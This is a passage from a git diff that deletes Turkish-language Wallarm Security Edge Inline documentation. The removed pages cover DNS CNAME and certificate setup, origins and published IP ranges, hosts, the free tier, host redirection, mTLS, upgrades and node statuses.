Wallarm’ın alan adı sahipliğini doğrulaması ve sertifika vermesi için gereklidir. - -!!! warning "Sertifika CNAME'ini kaldırmayın" - Sertifika CNAME kaydı DNS ayarlarınızda kalmalıdır. Bu kayıt, ileride dağıtım yapılandırma güncellemeleri ve sertifika yenilemesi için gereklidir. - -![](../../images/waf-installation/security-edge/inline/host-cnames.png) - -![](../../images/waf-installation/security-edge/inline/cert-cname.png) - -Örneğin, DNS bölgesinde `myservice.com` belirtilmişse, cart CNAME aşağıdaki gibidir: - -``` -_acme-challenge.myservice.com CNAME _acme-challenge.--.acme.aws.wallarm-cloud.com -``` - -DNS değişikliklerinin yayılması 24 saate kadar sürebilir. CNAME kayıtları doğrulandıktan sonra Wallarm, Edge node dağıtımını başlatır. - -### 6. Trafiği Edge Node’a yönlendirme - -Trafiği Edge Node’a yönlendirmek için DNS bölgenizde Wallarm tarafından sağlanan FQDN’ye işaret eden CNAME kaydını belirtmeniz gerekir. Bu kayıt, **Traffic CNAME** olarak döndürülür. - -Sertifika CNAME doğrulandıktan sonra, her host için bir **Traffic CNAME** kullanılabilir hale gelir. Sertifika verilmediyse, CNAME yapılandırma tamamlanır tamamlanmaz kullanılabilir olur. - -![](../../images/waf-installation/security-edge/inline/traffic-cname.png) - -DNS değişikliklerinin yayılması 24 saate kadar sürebilir. Yaygınlaştıktan sonra, Wallarm tüm trafiği - -## Telemetri portalı - -Security Edge Inline için telemetri portalı, Wallarm tarafından işlenen trafik metriklerine ilişkin gerçek zamanlı içgörüler sunan bir Grafana panosu sağlar. - -Pano; toplam işlenen istekler, RPS, tespit edilen ve engellenen saldırılar, dağıtılan Edge node sayısı, kaynak tüketimi, 5xx yanıt sayısı vb. gibi temel metrikleri gösterir. - -![!](../../images/waf-installation/security-edge/inline/telemetry-portal.png) - -Node **Active** durumuna ulaştığında **Run telemetry portal**’ı çalıştırın. Başlatmadan ~5 dakika sonra Security Edge bölümünden doğrudan bir bağlantı ile erişilebilir hale gelir. - -![!](../../images/waf-installation/security-edge/inline/run-telemetry-portal.png) - -Grafana ana sayfasından panele ulaşmak için **Dashboards** → **Wallarm** → **Portal Inline Overview** yolunu izleyin. - -## Upgrading the Edge Inline - -**Admin settings** içinde **Auto update** etkinleştirildiğinde, yeni bir minor veya patch sürümü yayınlanır yayınlanmaz (seçilen seçeneğe bağlı olarak) Edge node otomatik olarak yükseltilir. Tüm ilk ayarlarınız korunur. Auto update varsayılan olarak kapalıdır. - -Edge node’u elle yükseltmek için **Configure** → **Admin settings** yoluna gidin ve listeden bir sürüm seçin. En iyi performans ve güvenlik için en son sürümün kullanılması önerilir. - -Yeni bir major sürüme yükseltme yalnızca elle yapılabilir. - -Sürümlerin değişiklik günlüğü için [makaleye](../../updating-migrating/node-artifact-versions.md#all-in-one-installer) bakın. Edge node sürümü, bağlantı verilen makaledeki aynı sürüme karşılık gelen `..` biçimini izler. Edge node sürümündeki build numarası, küçük değişiklikleri belirtir. - -## Edge Inline'ı silme - -Edge dağıtımınızı silmek için **Configure** → **Admin settings** → **Delete inline**’a tıklayın. - -Düğümleri silip yeniden oluşturmayı planlıyorsanız, mevcut dağıtımın ayarlarını değiştirebilir ve düğümler güncellenmiş yapılandırma ile yeniden dağıtılacaktır. - -Aboneliğiniz sona ererse, Edge node 14 gün sonra otomatik olarak silinir. - -## Durumlar - -Edge node bölümü, origin’leriniz, host’larınız ve bölgeleriniz için dağıtım ve yapılandırma durumlarını gerçek zamanlı olarak sağlar: - -=== "Hosts" - ![!](../../images/waf-installation/security-edge/inline/host-statuses.png) -=== "Origins" - ![!](../../images/waf-installation/security-edge/inline/origin-statuses.png) -=== "Regions" - ![!](../../images/waf-installation/security-edge/inline/region-statuses.png) -=== "Nodes" - **Nodes** sekmesi, her Edge node için teknik ayrıntıları sağlar. Bu görünüm öncelikle sorun gidermede yardımcı olması için Wallarm Support tarafından kullanılır. Düğüm sayısı trafik talebine bağlıdır ve Wallarm’ın otomatik ölçeklendirmesi tarafından otomatik olarak yönetilir. - - ![!](../../images/waf-installation/security-edge/inline/nodes-tab.png) - -* **Pending cert CNAME**: Sertifika verilmesi için DNS’e sertifika CNAME kayıtlarının eklenmesi bekleniyor (uygulanabilirse). -* **Pending traffic CNAME**: Dağıtım tamamlandı, trafiği Edge node’a yönlendirmek için traffic CNAME veya proxy hedef kaydının eklenmesi bekleniyor. -* **Deploying**: Edge node şu anda kuruluyor ve yakında kullanılabilir olacak. -* **Active**: Edge node tamamen çalışır durumda ve yapılandırıldığı şekilde trafiği filtreliyor. -* **Cert CNAME error**: DNS’te sertifika CNAME doğrulanırken bir sorun oluştu. Lütfen CNAME’in doğru yapılandırıldığını kontrol edin (uygulanabilirse). -* **Deployment failed**: Edge node dağıtımı başarılı olmadı; örneğin sertifika CNAME 14 gün içinde eklenmediği için. Yapılandırma ayarlarını kontrol edin ve yeniden dağıtmayı deneyin veya yardım almak için [Wallarm Support team](https://support.wallarm.com) ile iletişime geçin. -* **Degraded**: Edge node bölgede aktiftir ancak sınırlı işlevselliğe sahip olabilir veya küçük sorunlar yaşıyor olabilir. Lütfen yardım almak için [Wallarm Support team](https://support.wallarm.com) ile iletişime geçin. - -Host ve origin başına RPS ve istek miktarı, [sürüm](../../updating-migrating/node-artifact-versions.md#all-in-one-installer) 5.3.0’dan itibaren döndürülür. \ No newline at end of file diff --git a/docs/latest-tr/installation/security-edge/free-tier.md b/docs/latest-tr/installation/security-edge/free-tier.md deleted file mode 100644 index ac65f7d533..0000000000 --- a/docs/latest-tr/installation/security-edge/free-tier.md +++ /dev/null @@ -1,81 +0,0 @@ -# Security Edge Free Tier - -[Security Edge](overview.md) Free Tier, Wallarm platformunu değerlendirmenize ve Wallarm Node’u kendiniz barındırmadan, ayda **500.000 isteğe kadar - ücretsiz** koruma sağlamanıza olanak tanır. - -Security Edge Free Tier ile, çoğu özelliği içeren [Advanced API Security](../../about-wallarm/subscription-plans.md#core-subscription-plans) olarak Wallarm platformuna erişirsiniz, ancak bazı [sınırlamalar](#limitations) vardır. - -## Başlarken - -Security Edge Free Tier’ı kullanmaya başlamak için, **Wallarm’a [US](https://us1.my.wallarm.com/signup/?utm_source=wallarm_docs&utm_campaign=se_free_tier_guide) veya [EU Cloud](https://my.wallarm.com/signup/?utm_source=wallarm_docs&utm_campaign=se_free_tier_guide) üzerinde kaydolun**. - -Otomatik olarak Free Tier’a atanacak ve **Quick setup wizard**’a yönlendirileceksiniz. - -Security Edge dağıtımı kullanım senaryonuza uymuyorsa, alternatifler için sales@wallarm.com ile iletişime geçin. - -## Quick setup wizard - -Wizard, temel [Inline](inline/overview.md) veya [Connector](se-connector.md) Security Edge dağıtımında size rehberlik eder. - -Edge Node’lar monitoring [mode](../../admin-en/configure-wallarm-mode.md) ile başlar, bu nedenle istekler engellenmez. - -=== "Security Edge Inline" - 1. Dağıtım için bir bölge seçin. - 1. Genel bir host belirtin (kullanıcılarınızın bağlandığı alan adı). - 1. Analiz edilen trafiğin iletileceği bir origin tanımlayın. - - Origin birden fazla sunucuya sahipse, hepsini belirtebilirsiniz. Edge Node, trafiği [round-robin](https://en.wikipedia.org/wiki/Round-robin_DNS) yük dengeleme kullanarak onlara iletir. - - Döngüleri önlemek için Origin’ler host’lardan farklı olmalıdır. - 1. Alan adı sahipliğini doğrulamak için sağlanan **Certificate CNAME** kaydını DNS bölgenize ekleyin. - 1. Yönlendirmeyi tamamlamak için host’unuzun DNS’ini sağlanan **Traffic CNAME**’e yöneltin. - - Traffic CNAME, certificate CNAME doğrulanınca sağlanır. - - ![](../../images/waf-installation/security-edge/inline/quick-setup-wizard-inline.png) -=== "Security Edge Connector" - 1. Dağıtım için bir bölge seçin. - 1. Sağlanan Node URL’sini kopyalayın — Connector için giriş noktasıdır. - 1. Platformunuz için **Download code bundle** indirin. - 1. Paketi, aşağıdaki yönergeleri izleyerek API yönetim platformunuza uygulayın: - - * [MuleSoft Mule Gateway](../connectors/mulesoft.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) - * [CloudFront](../connectors/aws-lambda.md#2-obtain-and-deploy-the-wallarm-lambdaedge-functions) - * [Cloudflare](../connectors/cloudflare.md#2-obtain-and-deploy-the-wallarm-worker-code) - * [Fastly](../connectors/fastly.md#2-deploy-wallarm-code-on-fastly) - * [IBM DataPower](../connectors/ibm-api-connect.md#2-obtain-and-apply-the-wallarm-policies-to-apis-in-ibm-api-connect) - - ![](../../images/waf-installation/security-edge/inline/quick-setup-wizard-connector.png) - -Kurulumdan sonra, Edge Node’a otomatik olarak bir test saldırısı gönderilir. Saldırı tespit edildiğinde, Free Tier’ın tüm işlevleriyle Wallarm Console’a erişim kazanırsınız. Saldırı [**Attacks**](../../user-guides/events/check-attack.md) bölümünde görünecektir. - -Ayrıca ekip arkadaşlarınızı onboarding’e katılmaları için davet edebilirsiniz. Kendilerine **Administrator** [role](../../user-guides/settings/users.md#user-roles) atanır ve e-posta ile bir davet bağlantısı alırlar. - -Wizard’ı daha sonra Security Edge bölümündeki **Quick setup** üzerinden veya `/onboarding` adresinden yeniden açabilirsiniz. - -## Sınırlamalar - -Tam Security Edge yapılandırma akışına kıyasla, **Quick setup** wizard’ın aşağıdaki kısıtları vardır: - -* Host ince ayarı desteklenmez: filtrasyon modları, Wallarm applications, NGINX yönergeleri -* Security Edge Inline: - - * Apex alan adları host’larda desteklenmez - * Yalnızca bir origin eklenebilir - * [Alan adı sahipliği doğrulaması](inline/deployment.md#3-certificates) atlanamaz (ör. origin’iniz Cloudflare gibi bir proxy arkasındaysa) - * [Host yönlendirme](inline/host-redirection.md) desteklenmez - * [Özel engelleme sayfası](inline/custom-block-page.md) - * [NGINX geçersiz kılmaları](inline/nginx-overrides.md) - * [Karşılıklı TLS](inline/mtls.md) yapılandırması kullanılamaz - -Bazı özellikler, quick setup veya tam yapılandırma akışı kullanılsın fark etmeksizin Free Tier’da kullanılamaz: - -* [Zafiyet değerlendirmesi](../../user-guides/vulnerabilities.md) -* [API Abuse Prevention](../../api-abuse-prevention/overview.md) -* Security Edge’in telemetri portalı -* Microsoft Azure’da dağıtım -* Çoklu bulut ve çoklu bölge Security Edge Inline dağıtımı - -## Sonraki adımlar - -* [Security Edge Inline: tam yapılandırma akışı](inline/deployment.md) -* [Security Edge Connector: tam yapılandırma akışı](se-connector.md) \ No newline at end of file diff --git a/docs/latest-tr/installation/security-edge/inline/access-control-lists.md b/docs/latest-tr/installation/security-edge/inline/access-control-lists.md deleted file mode 100644 index e17ad13457..0000000000 --- a/docs/latest-tr/installation/security-edge/inline/access-control-lists.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/inline/access-control-lists.md" \ No newline at end of file diff --git a/docs/latest-tr/installation/security-edge/inline/cache-rules.md b/docs/latest-tr/installation/security-edge/inline/cache-rules.md deleted file mode 100644 index d33e69f652..0000000000 --- a/docs/latest-tr/installation/security-edge/inline/cache-rules.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/inline/cache-rules.md" \ No newline at end of file diff --git a/docs/latest-tr/installation/security-edge/inline/custom-block-page.md b/docs/latest-tr/installation/security-edge/inline/custom-block-page.md deleted file mode 100644 index ea21a7a5bd..0000000000 --- a/docs/latest-tr/installation/security-edge/inline/custom-block-page.md +++ /dev/null @@ -1,18 +0,0 @@ -# Security Edge Inline içinde Engelleme Sayfası - -Security Edge Inline Node bir kötü amaçlı isteği engellediğinde, HTTP 403 Forbidden yanıtı ile birlikte biçimlendirilmiş bir engelleme sayfası döndürebilir. - -!!! info "Sürüm gereksinimleri" - Biçimlendirilmiş bir engelleme sayfasının döndürülmesi, Edge Node 5.3.16-2 sürümünden itibaren desteklenir. - -## Engelleme sayfasının görünümü - -Biçimlendirilmiş engelleme sayfası, isteğin engellendiğine dair kullanıcı dostu bir bildirim sağlar: - -![Wallarm engelleme sayfası](../../../images/configuration-guides/blocking-page-provided-by-wallarm-36.png) - -## Özel engelleme sayfasını etkinleştirme - -Özel engelleme sayfası, 5.3.16-2 sürümünden itibaren varsayılan olarak etkindir. - -Özelliği kontrol etmek için Wallarm Console → Security Edge → Inline → Configure → Return styled page for blocked requests bölümüne gidin. \ No newline at end of file diff --git a/docs/latest-tr/installation/security-edge/inline/deployment.md b/docs/latest-tr/installation/security-edge/inline/deployment.md deleted file mode 100644 index fbc6dde6f3..0000000000 --- a/docs/latest-tr/installation/security-edge/inline/deployment.md +++ /dev/null @@ -1,234 +0,0 @@ -# Security Edge Inline Dağıtımı - -Wallarm [inline trafik analizi için Security Edge](overview.md) dağıtmak için bu kılavuzu izleyin. - -## Gereksinimler - -* [Security Edge aboneliği](../../../about-wallarm/subscription-plans.md) (ücretsiz veya ücretli) -* Alanlarınızın DNS kayıtlarını düzenleyerek mülkiyeti doğrulama ve trafiği Wallarm'a yönlendirme imkânı - -## Yapılandırma akışı - -Edge'i inline çalıştırmak için, Wallarm Console → Security Edge → Inline → Configure yoluna gidin. Bu bölüm mevcut değilse, gerekli aboneliğe erişim için sales@wallarm.com ile iletişime geçin. - -Free Tier üzerinde, [Hızlı kurulum](../free-tier.md) ile Edge Node'ları dağıttıktan sonra, **Security Edge** bölümü ayarları düzenlemenizi sağlar. - -Edge Node dağıtım ayarlarını istediğiniz zaman güncelleyebilirsiniz. Düğüm yeniden dağıtılırken mevcut CNAME ve A kayıtları değişmeden kalır. - -Tam yapılandırma akışının demosuna bakın: - -
              - -
              - -
              -
              - -## 1. Sağlayıcı ve bölge - -Edge Node dağıtımı için bir veya daha fazla bölge (AWS veya Azure) seçin. Gecikmeyi en aza indirmek için API'lerinize yakın konumları seçin. - -Kullanılabilir bölgeler [Wallarm Cloud](../../../about-wallarm/overview.md#cloud) bölgenize bağlıdır (US → US bölgeleri, EU → EU bölgeleri). - -[Çok bölgeli ve çok bulutlu dağıtım hakkında daha fazla bilgi](multi-region.md) - -## 2. Originler - -Edge Node'un filtrelenmiş trafiği ileteceği originleri belirtin. Her origin için bir sunucu IP adresi veya isteğe bağlı port ile bir FQDN (varsayılan: 443) sağlayın. - -Bir origin birden çok sunucuya sahipse, hepsini belirtebilirsiniz. İstekler şu şekilde dağıtılır: - -* [Round-robin](https://en.wikipedia.org/wiki/Round-robin_DNS) algoritması kullanılır. İlk istek ilk sunucuya, ikinci istek bir sonrakine gönderilir ve son sunucudan sonra tekrar başa döner. -* IP tabanlı oturum kalıcılığı ile aynı IP'den gelen trafik tutarlı şekilde aynı sunucuya yönlendirilir. - -**Origin erişimini güvenli hale getirme** - -Originlerinizi yalnızca güvenilir trafikle sınırlamak için, Edge Node bağlantılarına aşağıdaki yöntemlerden biriyle izin verin: - -* (Önerilir) Edge Node'ları [mTLS](mtls.md) ile kimlik doğrulayın. Bu, Wallarm IP'leri değişirse oluşabilecek sorunların önüne geçer. -* Yalnızca seçilen dağıtım bölgelerinin IP aralıklarından gelen trafiğe izin verin (IP'ler değişebilir). - - ??? info "Wallarm IP aralıklarını göster" - * AWS - - === "us-east-1 (N. Virginia)" - ``` - 18.215.213.205 - 44.214.56.120 - 44.196.111.152 - ``` - === "us-east-2 (Ohio)" - ``` - 3.148.62.175 - 18.224.237.190 - 3.20.55.107 - 3.135.4.73 - 3.142.190.180 - 3.15.129.1 - 18.116.243.148 - 18.116.233.194 - ``` - === "ABD Batı 1" - ``` - 52.8.91.20 - 13.56.117.139 - 54.177.237.34 - 50.18.177.184 - ``` - === "AB Orta 1 (Frankfurt)" - ``` - 18.153.123.2 - 18.195.202.193 - 3.76.66.246 - 3.79.213.212 - ``` - === "AB Orta 2 (Zürih)" - ``` - 51.96.131.55 - 16.63.191.19 - 51.34.0.90 - 51.96.67.145 - ``` - - * Azure - - === "ABD Merkezi" - ``` - 104.43.139.76 - 104.43.139.77 - ``` - === "ABD Doğu 2" - ``` - 20.65.88.253 - 20.65.88.252 - ``` - === "ABD Batı 3" - ``` - 20.38.2.233 - 20.38.2.232 - ``` - === "Almanya Batı Merkezi" - ``` - 20.79.250.104 - 20.79.250.105 - ``` - === "İsviçre Kuzey" - ``` - 20.203.240.193 - 20.203.240.192 - ``` - -![!](../../../images/waf-installation/security-edge/inline/general-settings-section.png) - -## 3. Sertifikalar - -* Edge Inline Node doğrudan, internete açık bir çözüm olarak dağıtılıyorsa, trafiği origin sunucularınıza güvenli şekilde yönlendirmek için Wallarm sertifikalar gerektirir. Sertifikalar bu bölümde belirtilen DNS bölgelerine göre düzenlenir. - - Yapılandırma tamamlandığında, Wallarm her DNS bölgesi için bir CNAME sağlar. Alan adı sahipliğini doğrulamak ve sertifika düzenleme sürecini tamamlamak için bu CNAME kaydını DNS ayarlarınıza ekleyin. -* Origin sunucularınız, trafiği proxy'leyen üçüncü taraf bir servis (ör. bir CDN veya Cloudflare ya da Akamai gibi bir DDoS koruma sağlayıcısı) arkasındaysa, sertifika düzenlenmesi gerekmez. Bu durumda, **Skip certificate issuance** seçeneğini işaretleyin. - -![!](../../../images/waf-installation/security-edge/inline/certificates.png) - -Birden fazla DNS bölgesi belirtebilir, her biri için farklı bir sertifika düzenleme yaklaşımı seçebilirsiniz. - -!!! info "CAA kayıtları" - Bazı kuruluşlar, alan adları için sertifika düzenleyebilecek Sertifika Otoritelerini (CA) sınırlamak amacıyla [CAA](https://letsencrypt.org/docs/caa/) DNS kayıtları kullanır. - - CAA kayıtlarınız varsa, Let's Encrypt'i Wallarm Hesap Kimliği ile yetkilendirdiğinizden emin olun; aksi halde Security Edge için sertifikalar düzenlenemez: - - ``` - 0 issue "letsencrypt.org;validationmethods=dns-01;accounturi=https://acme-v02.api.letsencrypt.org/acme/acct/2513765531" - ``` - - Mevcut CAA kayıtlarınızı şu komutla kontrol edebilirsiniz: - - ``` - dig +short CAA your-domain.com - ``` - -## 4. Hostlar - -Analiz için trafiği Edge Node'a yönlendirecek genel alan adlarını, portları ve alt alan adlarını belirtin. - -!!! info "Apex alan adları" - Mümkünse apex alan adları yerine `www.example.com` kullanın. Ya da [apex alan adından `www.*`'a yönlendirme](host-redirection.md#recommended-redirect-from-apex-domain-to-www) yapılandırın. Bu, Wallarm'ın global bir CNAME kullanmasını ve A kayıtlarıyla elle trafik dengeleme ihtiyacını ortadan kaldırır. - -1. Hostlarınızı belirtin. Her host girdisi bir DNS bölgesiyle ( **Certificates** bölümünde belirtilmişse) eşleşmeli ve yönlendirme döngülerden kaçınmak için originlerden farklı olmalıdır. - - ??? note "İzin verilen portlar" - HTTP portlarından Edge Node'a trafik yönlendirmek yasaktır. Aşağıdaki portlar desteklenir: - - 443, 444, 1443, 1760, 2001, 2087, 2096, 4333, 4334, 4430, 4440, 4443 4466, 4993, 5000, 5001, 5454, 7003, 7443, 7741, 8010, 8012, 8070, 8071, 8072, 8075, 8076, 8077, 8078, 8081, 8082, 8084, 8085, 8086, 8088, 8090, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099, 8104, 8181, 8243, 8282, 8383, 8443, 8444, 8448, 8585, 8723, 8787, 8801, 8866, 9052, 9090, 9093, 9111, 9193, 9440, 9443, 9797, 44300, 44301, 44302, 44395, 44443, 52233, 55180, 55553, and 60000 -1. (İsteğe bağlı) Host trafiğini, Wallarm platformunda farklı API örneklerini veya servislerini kategorize edip yönetmek için bir [Wallarm uygulaması](../../../user-guides/settings/applications.md) ile ilişkilendirin. -1. Her host için [Wallarm modu](../../../admin-en/configure-wallarm-mode.md) ayarlayın. -1. (İsteğe bağlı) [Sunucu NGINX yönergelerini](nginx-overrides.md#server-level-directives) özelleştirin. Varsayılanlar standart NGINX değerlerini izler. -1. Her host için, kök konum (`/`) yapılandırmasını tanımlayın: - - * Wallarm Node'un filtrelenmiş trafiği ileteceği [Origin](#2-origins) (konuma özel başka ayarlar tanımlanmadıysa). Konumun yolu otomatik olarak origin'e eklenir. - * (İsteğe bağlı) Wallarm uygulaması. - * Filtreleme modu. - -![!](../../../images/waf-installation/security-edge/inline/hosts.png) - -Hostlar içindeki belirli **konumlar** için şu ayarları daha da özelleştirebilirsiniz: - -* Origin. Konumda tanımlanan yol otomatik olarak origin'e eklenir. -* Wallarm uygulaması. -* Filtreleme modu. -* [Konum NGINX yönergeleri](nginx-overrides.md#location-level-directives). Varsayılanlar standart NGINX değerlerini izler. - -Her konum, özel olarak geçersiz kılınmadıkça, host ve kök konumdan ayarları devralır. - -Aşağıdaki örnek yapılandırma, özel ihtiyaçları karşılamak için yola göre ayarları özelleştirir: `/auth` engelleme modu etkinleştirilerek güvenliği önceliklendirir, `/data` ise `client_max_body_size` değerini 5MB'a yükselterek daha büyük yüklemelere izin verir. - -![!](../../../images/waf-installation/security-edge/inline/locations.png) - -## 5. Sertifika CNAME yapılandırması - -Alan doğrulaması için, Wallarm Console'da sağlanan CNAME kayıtlarını her DNS bölgesi için DNS sağlayıcınızın ayarlarına ekleyin. Bu kayıtlar, Wallarm'ın alan adı sahipliğini doğrulaması ve sertifikaları düzenlemesi için gereklidir. - -!!! warning "Sertifika CNAME kaydını kaldırmayın" - Sertifika CNAME kaydı DNS ayarlarınızda kalmalıdır. Daha sonraki dağıtım yapılandırma güncellemeleri ve sertifika yenilemesi için gereklidir. - -![](../../../images/waf-installation/security-edge/inline/host-cnames.png) - -![](../../../images/waf-installation/security-edge/inline/cert-cname.png) - -DNS değişikliklerinin yayılması 24 saate kadar sürebilir. CNAME kayıtları doğrulandığında (gerekliyse), Wallarm Edge Node dağıtımını başlatır. - -## 6. Trafiği Edge Node'a yönlendirme - -İstemci isteklerini Edge Node üzerinden geçirmek için, korunan alan adı tipine göre DNS kayıtlarınızı güncelleyin. - -### CNAME kaydı - -Korumalı host'unuz üçüncü seviye (veya daha üst) bir alan adıysa (örn. `api.example.com`), DNS bölgenizde Wallarm tarafından sağlanan FQDN'ye işaret eden CNAME kaydı belirtmeniz gerekir. - -Sertifika CNAME doğrulandıktan sonra, her host için bir **Traffic CNAME** kullanıma sunulur. Sertifika düzenlenmiyorsa, yapılandırma tamamlanır tamamlanmaz CNAME hazır olur. - -* Tek bulut dağıtımı: seçilen bulut sağlayıcısı için **Traffic CNAME** kullanın. -* Çok bulut dağıtımı: trafiği seçilen tüm bölge ve sağlayıcılar arasında otomatik dağıtmak için **Traffic CNAME (Global)** kullanın. - - Sağlayıcıya özel CNAME'ler de mevcuttur; örneğin sağlayıcılar arası gecikme veya performansı test etmek için trafiği belirli bir sağlayıcıya zorlamak istiyorsanız kullanabilirsiniz. - -![](../../../images/waf-installation/security-edge/inline/traffic-cname.png) - -DNS değişikliklerinin yayılması 24 saate kadar sürebilir. Yayılma tamamlandığında, Wallarm tüm trafiği yapılandırılmış originlere proxy'ler. - -### A kayıtları - -Korumalı host'unuz bir apex alan adıysa (örn. `example.com`), CNAME kullanılamaz. Bu durumda, DNS kurulumu dağıtım [**Active**](upgrade-and-management.md#statuses) olduğunda döndürülen **A kayıtlarını** kullanmalıdır. - -![](../../../images/waf-installation/security-edge/inline/a-records.png) - -Bu durumda trafik yönlendirmesi DNS sağlayıcınız tarafından yönetilir. Varsayılan olarak, çoğu DNS sağlayıcısı [round-robin](https://en.wikipedia.org/wiki/Round-robin_DNS) mantığını kullanır, ancak bazıları gecikmeye dayalı yönlendirmeyi de destekleyebilir. - -## Daha fazla yapılandırma seçeneği - -* [Edge Node'un birden çok bölge ve sağlayıcıda dağıtılması](multi-region.md) -* [Edge Node'dan originlere mTLS](mtls.md) -* [Host yönlendirme](host-redirection.md) -* [Özel engelleme sayfası](custom-block-page.md) -* [NGINX geçersiz kılmaları](nginx-overrides.md) -* [Edge Node yükseltmesi](upgrade-and-management.md) -* [Telemetri portalı](telemetry-portal.md) \ No newline at end of file diff --git a/docs/latest-tr/installation/security-edge/inline/host-redirection.md b/docs/latest-tr/installation/security-edge/inline/host-redirection.md deleted file mode 100644 index 9c13e78d38..0000000000 --- a/docs/latest-tr/installation/security-edge/inline/host-redirection.md +++ /dev/null @@ -1,63 +0,0 @@ -# Security Edge Inline'de Ana Makine Yönlendirme - -Wallarm [Security Edge Inline](deployment.md), trafik giriş noktalarını birleştirmenize yardımcı olmak için ana makine yönlendirme özelliği sağlar. - -## Nasıl çalışır - -Ana makine yönlendirme etkinleştirildiğinde, Edge Node istemci isteklerini bir ana makineden (yönlendiren ana makine) diğerine (hedef ana makine) otomatik olarak yönlendirir. - -Yönlendirilen istek daha sonra hedef ana makinenin yapılandırmasına göre — Origin, Filtration mode ve diğer ayarlar dahil — işlenir. - -!!! info "TLS gereksinimi" - Yönlendiren ana makinenin DNS bölgesinde [sertifika verme özelliği etkinleştirilmiş](deployment.md#5-certificate-cname-configuration) olmalıdır. - -![!](../../../images/waf-installation/security-edge/inline/host-redirection.png) - -Edge Node, yönlendiren ana makineye gelen isteklere HTTP 301 veya 302 yönlendirmesiyle yanıt verir ve istemciye aynı kaynağı hedef ana makineden istemesini söyler. - -Yönlendirme sırasında özgün yol (path) ve sorgu dizesi (query string) korunur. - -## Ana makine yönlendirmeyi etkinleştirme - -Ana makine yönlendirmeyi etkinleştirmek için: - -1. Hedef [ana makineyi](deployment.md#4-hosts) ekleyin — istemci isteklerinin yönlendirileceği ana makine. -1. Gerekli Origin, Filtration mode ve diğer ayarlarla tamamen yapılandırın. - - ![!](../../../images/waf-installation/security-edge/inline/redirect-target-host.png) -1. Yönlendiren ana makineyi ekleyin — kullanıcıların yönlendirilileceği kaynak ana makine. -1. **Redirect to another host** onay kutusunu etkinleştirin ve listeden hedef ana makineyi seçin. - - ![!](../../../images/waf-installation/security-edge/inline/redirecting-host.png) - -Yönlendiren ana makine için Origin gerekli değildir — yalnızca bir HTTPS yönlendirmesi döndürür ve trafiği proxy'lemez. - -## Örnekler - -Aşağıda, ana makine yönlendirmenin faydalı olduğu bazı yaygın kullanım senaryaları yer almaktadır. - -### Önerilir: apex alan adından `www.*`'e yönlendirme - -* Yönlendiren ana makine: `example.com` -* Korumalı ana makine: `www.example.com` - -Apex alan adınıza gelen trafiği güvenli biçimde işlemek için, mümkün olduğunda birincil korumalı ana makine olarak `www.example.com` gibi bir alt alan adı kullanmanızı öneririz. - -Bu yaklaşım, Wallarm'ın bir global CNAME kullanarak birden çok bölge ve bulut sağlayıcısı arasında trafik yönlendirmesini yönetmesine olanak tanır; böylece [birden çok A kaydı](deployment.md#a-records) ve manuel trafik dağıtımı ihtiyacını ortadan kaldırır. - -Yapılandırma adımları: - -1. `www.example.com` [ana makinesini](deployment.md#4-hosts) Security Edge'e ekleyin ve tamamen yapılandırın (Origin, mode, vb.). -1. `example.com` ana makinesini ayrı bir ana makine olarak ekleyin ve `www.example.com`'a yönlendirmeyi etkinleştirin. - -### Eski API uç noktası yönlendirmesi - -* Eski ana makine: `old-api.customer.com` -* Yeni korumalı ana makine: `new-api.customer.com` - -API'niz daha önce `old-api.customer.com` üzerinde erişilebilirken `new-api.customer.com`'a taşındıysa, geriye dönük uyumluluğu sağlamak için ana makine yönlendirmesini kullanın. - -Yapılandırma adımları: - -1. `new-api.customer.com` [ana makinesini](deployment.md#4-hosts) Security Edge'e ekleyin ve tamamen yapılandırın (Origin, mode, vb.). -1. `old-api.customer.com` ana makinesini ayrı bir ana makine olarak ekleyin ve `new-api.customer.com`'a yönlendirmeyi etkinleştirin. \ No newline at end of file diff --git a/docs/latest-tr/installation/security-edge/inline/mtls.md b/docs/latest-tr/installation/security-edge/inline/mtls.md deleted file mode 100644 index ef38c091dd..0000000000 --- a/docs/latest-tr/installation/security-edge/inline/mtls.md +++ /dev/null @@ -1,39 +0,0 @@ -# Edge Node'dan Origin'lere mTLS - -Karşılıklı TLS (mTLS), Wallarm Edge Node'un istemci sertifikası kullanarak origin sunucularınıza kendisini kimlik doğrulaması yapmasına olanak tanır. Bu, origin'lerinizin yalnızca güvenilen kaynaklardan gelen istekleri kabul etmesini sağlar. - -[Security Edge'i yapılandırırken](deployment.md), Edge Node'lar için istemci sertifikaları oluşturabilir ve yükleyebilirsiniz. - -!!! info "Sürüm gereksinimleri" - mTLS, [Edge Node sürümü](upgrade-and-management.md#upgrading-the-edge-inline) 5.3.14-200 ile desteklenir. - -## Nasıl çalışır - -Bir origin için mTLS etkinleştirildiğinde: - -1. Filtrelenmiş trafiği origin'inize iletmeden önce, Edge Node TLS el sıkışması sırasında bir istemci sertifikası sunar. -1. Origin, sertifikayı güvenilen bir CA (Certificate Authority) demetine karşı doğrular. -1. Sertifika geçerli ise ve beklenen parametrelerle (ör. Common Name veya Subject Alternative Name) eşleşiyorsa, bağlantı kurulur ve istek kabul edilir. - -![!](../../../images/waf-installation/security-edge/inline/mtls-logic.png) - -## mTLS'i etkinleştirme - -Birden fazla sertifika yükleyebilir ve farklı origin'lere farklı sertifikalar atayabilirsiniz. - -1. Güvenilen bir CA tarafından imzalanmış bir istemci sertifikası ve özel anahtar çifti oluşturun. Aşağıdaki gereksinimleri karşılamalıdır: - - * **İstemci sertifikası**: X.509, PEM formatı. - - `Extended Key Usage (EKU)` uzantısını `Client Authentication` olarak içermelidir. - - * **Özel anahtar**: PEM formatı, istemci sertifikasıyla eşleşmelidir. - * **CA demeti**: PEM formatı, istemci sertifikasını veren sertifika otoritesini içermelidir. -1. Wallarm Console → **Security Edge** → **Configure** içinde, **General settings** altında sertifikayı, özel anahtarı ve CA demetini yükleyin. -1. **Origins** bölümünde, ilgili origin için **Require mTLS from Edge Node** seçeneğini etkinleştirin ve uygun sertifikayı seçin. - - Gerekirse her origin farklı bir sertifika kullanabilir. -1. **Save** ile ayarları kaydedin. -1. Origin'inizi gelen bağlantılar için mTLS gerektirecek şekilde yapılandırın. İstemci sertifikasını veren CA demetine güvenin. - -![!](../../../images/waf-installation/security-edge/inline/mtls-settings-ui.png) \ No newline at end of file diff --git 